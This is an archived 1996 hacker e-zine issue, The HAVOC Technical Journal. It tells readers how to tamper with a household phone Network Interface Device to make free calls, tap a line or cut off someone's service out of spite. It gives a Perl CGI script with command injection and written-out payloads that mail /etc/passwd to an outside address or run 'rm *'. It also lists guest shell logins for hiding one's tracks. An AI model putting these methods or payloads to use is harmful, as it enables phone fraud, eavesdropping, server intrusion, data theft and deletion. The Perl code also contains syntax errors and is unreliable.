home *** CD-ROM | disk | FTP | other *** search
- ╒══════════════════════════════════════════════════════════════════╕
- │The HAVOC Technical Journal │▒
- └──────────────────────────────────────────────────────────────────┘▒
- ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
-
- Vol. 1 | No.4 | October 1st, 1996 | A HAVOC Bell Systems Publication
- "Protected by the First Amendment"
- _____________________________________________________________________________
- Inside this issue:
-
- Whats new this issue..............................A
- Editorial......................................... l
- The Network Identification Device Pt. 1........... l
- Writting Inscure CGI Progs........................
- The End of penet.fi............................... b
- ROLL CALL & more!................................. y
- Next Month........................................ Scud-O
-
- (I need more writers!!! e-mail me if ya want to write an article!
- my e-mail is: FoxMulder@worldnet.att.net (yes its back up..)
- the mags e-mail is: thtj@juno.com (wheee.. we get to read ads as
- we get your e-mail!) )
-
- This months music supplied by: Sublime, The Future Sound of London
- and Zion Train and Violent Femmes. Oh yea.. and WHFS 99.1 !
-
- What's new in this issue:
-
- Well if you weren't so cheap you would see our nice new format! but
- the online version has none of that neatness.. My new school has a
- lab with a scanner so the print version should get some nice pics
- soon...
- Also Scud-O is now on IRC often.. Im on #phreak and #hacker often on
- undernet.. to c'mon in and join us for a chat...
- If ya want a print version and some extra goodies... e-mail me!
-
- -----------------------------------------------------------
- How to contact us:
- Check Out Our Web Site:
- www.geocities.com/SiliconValley/8805/
- my (Scud-O) e-mail is : FoxMulder@worldnet.att.net
- our Mag e-mail is : thtj@juno.com
- HELLCORE's e-mail is : hellcore@juno.com
- ---------------------------------------------------------------
-
- Editorial:
- by Scud-O
-
- Well another month another issue.. but hey if ya had the print version you
- would see our nice new format.. its kind of slick... were still messing
- around so it can only get better...Welp on to bigger and other things...
- lately i've been hit with ALOT of lamers.. (I gots ops on #hacker, thats why)
- (sometimes on #phreak as well...) well anyway.. EVERY lamer on #hacker was
- like 'teach me' so i relpied 'on what?' they came back with 'everything' so
- i said 'get some manuals and RTFM' and they all replied 'what?' .. people
- this is PATHETIC!! We need to protect ourselves from these newbies! any
- suggestions? e-me: FoxMulder@worldnet.att.net
-
- The Network Identification Device (NID) Pt.1
- by Scud-O
-
- These days it seems that NIDs have been left unabused when they are a great
- device to mess with. Why you ask? Well, there are many things you can to with
- them. But first where can you find them? well every house has one! My house
- has an old one, but most new ones I see are the size of a sunglass case
- which have a 7/16 inch socket screw in them. There are also some bigger ones
- ( usually in houseing complexes) that have a user opening and a telco opening.
-
- A little history:
- The NID was created to for test purposes. The NID is the main
- connection from Bell to the houses lines. You can test this NID to see if
- Bells lines are fucked or if your lines are fucked. If you live in
- Bell Atlantic area, their White Pages have some info on NIDS.
-
- Back to the article:
- The NID can be used for many purposes:
- 1. Free phone calls: Inside the NID there is a jack and a plug. If you unplug
- the jack and stick a phone in the plug you can then make calls free of
- charge, but the lines restrictions still apply (900 block, call waiting, etc)
- To find the line number just use your trusty ANI. And since the jack in the
- NID is out, the customer can't interupt you and make a call. Or you can find
- a 2 jack to one converter (they sell em in Radio Shack.. its so you can put
- more than one phone in a jack) and plug it all together so they can still
- make calls.
- 2. Phone tap: This is just a modification of the 2 to 1 jack converter, just
- wait for a call.. you cant leave the phone off the hook.. well because it
- will go off the hook... (hmm... maybe next month I'll find out how to be able
- to listen 24 hours a day...)
- 3. Disconnect customer: did some one piss you off? we just open their NID and
- unplug the jack and leave... no service... it will take a few days to get
- service and they are just totally fucked then... hehehehehehe...
-
- Next Month: read as I steal a NID and slice and dice it!! also: more fun
- tricks!
-
- Writting Insecure CGI Progs:
- by Scud-O
-
- CGI programs really are wonderful.. you can easily give them information
- that we shouldn't have!
-
- What follows is a simple CGI prog that you can install to get the servers
- password file! The program is actually a finger gateway.. but who cares..
- next month or maybe this month I'll print the secure source code to show a
- webmaster or sysadmin...
-
- Here's the HTML code:
- <FORM ACTION="/cgi-bin/finger.pl" METHOD="POST">
- <INPUT TYPE="text" NAME="user" SIZE=40>
- <INPUT TYPE="submit" VALUE="Get Information">
- </FORM>
-
- Here's the actual CGI Perl Prog:
-
- #!/usr/local/bin/perl
- &parse_form_data(*simple);
- $user = $simple{'user'};
- print "Content-type: text/plain", "\n\n";
- print "Here are the results of your query: "\n";
- print '/usr/local/bin/finger $user';
- print "\n";
- exit (0);
-
- the parse_form_data sub:
-
- (NOTE: ya need this to trasnlater the info for both progs.. other
- wise ya fucked! )
-
- sub parse_form_data
- {
- local(*FORM_DATA) = @_;
- local( $request_method, $query_string, @key_value_pairs,
- $key_value, $key, $value);
- $request_method = $ENV('REQUEST_METHOD');
-
- if ($request_method eg "GET") {
- $query_string = $ENV{'QUERY_STRING'};
- } elsif ($request_method eg "POST") {
- $query_string = $ENV{'CONTENT_LENGTH'};
- } else {
- &return_error (500, "Server Error',
- "Server uses unsupported method");
- }
-
- @key_value_pairs = split (/&/, $query_string);
-
- foreach $key_value (@key_value_pairs) {
- ($key, $value) = split (/=/, $key_value);
- $value =~ tr/+/ /;
- $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
- if (defined($FORM_DATA{$key})) {
- $FORM_DATA{$key} = join("\0", $FORM_DATA{$key}, $value);
- } else {
- $FORM_DATA{$key} = $value;
- }
- }
-
- the return_error sub:
- (NOTE: ya need this for the parse sub, and the patched version! )
-
- sub return_error
- {
- local($status, $keyword, $message) =@_;
- print "Content-type: text/html", "\n";
- print "Status: ", $status, " ", $keyword, "\n\n";
- print << End_of_Error;
- <title>Unexpected Error!</title>
- <h1>$keyword</h1>
- <hr>$message</hr>
- Please contact $webmater for more information.
-
- End_of_Error
-
- exit(1);
- }
-
- So thats it! below is the patched source:
-
- #!/usr/local/bin/perl
- &parse_form_data(*simple);
- $user = $simple{'user'};
- if($user =~ /[;><&\*'\|]) {
- &return_error(500, "CGI Finger Alert", "What are you trying
- to do?");
- } else {
- print "Content-type: text/plain", "\n\n";
- print "Here are the results of your query: "\n";
- print '/usr/local/bin/finger $user';
- print "\n";
- }
-
- exit (0);
-
-
-
- So what you aske.. we the first one if you type:
- ; mail -s "passwords!" you@yourdomain.com < /etc/passwd
- then you get yourslef a copy of the server's password lists being mailed to
- you!
- or try:
- ; rm *
- and delete their directory of files!
-
-
- The End of penet.fi :
- by Scud-O
- Well the pressure was finally too much, as penet.fi will no longer give out
- anonymous e-mail. But the people that already have addresses can still send
- stuff. But newsgroup post aren't allowed anymore... but you can still get
- anon news posts. So what will happen? well I think hacking penet emails will
- be fun for a while, but we will all start getting Juno accounts.. the're free
- you can forge them, and they are dissposible, but you have to read e-mail,
- click thru a list of hobbies, etc, and more and then your e-mails get adds
- in them... oh well though...
-
- ROLL CALL & More!
-
- Who is HAVOC?
- Scud-O : Pope boy
- Psycho : Fag Vice Pope
- Pinky : In hidding
- Rotten : Moving fool
- Sid : Other Moving Fool (and the're twins as well! )
-
- Want to join? next month we got a sign up sheet!
- Cool People:
- |\|\cFill
- theLURK7R (sometimes theLURK3R )
- JKMG-Boba ( aka Boba)
- Alef
- all on IRC!
-
- This Month Question: We ask why has |)eadLoss\Mulder changed his name?
- Well.. some knew me as |)eadLoss , some as Mulder, so I
- combined the 2.. but people we ever more confused, so I said fuck em!
- and I changed it to Scud-O .. Scud-O is a cool guy..
-
- Next Month's Question: Who is Scud-O ?
-
-
- Next Month:
- This MANY be what we will have in issue 5
- We have more on the NID
- Virus Theory Pt.2
- More Virus Stuff
- RTFM: The lamer Journal
- Whats up in the HELLCORE Labs?
- Pager Talk
- AND MUCH MORE TBA !
-
- Issue 5 is out Oct. 31st!
-
- cya ya next issue! -Scud-O
-
-
- Wait! we have a bonus:
- Some shell accounts to use to cover your ass:
-
- Freenet accounts: login
-
- freenet.buffalo.edu guest
- freenet.hsc.colorado.edu guest
- heartland.bradley.edu bbguest
- freenet.lorain.oberlin.edu guest
- freenet.victoria.bc.ca guest
- cbos.uc.edu visitor
- yfn.ysu.edu visitor
- freenet-in-a.cwru.edu fnguest
- b
- c
-
- ------------------------
- Okay that is all!
-
- ============================================================
- = IS this copy of The HAVOC Technical Journal Skunked?
- = If this file reads larger than 11078 bytes than this issue
- = has been messed with! get a fresh copy from our site:
- = www.geocities.com/SiliconValley/8805/
- ============================================================
-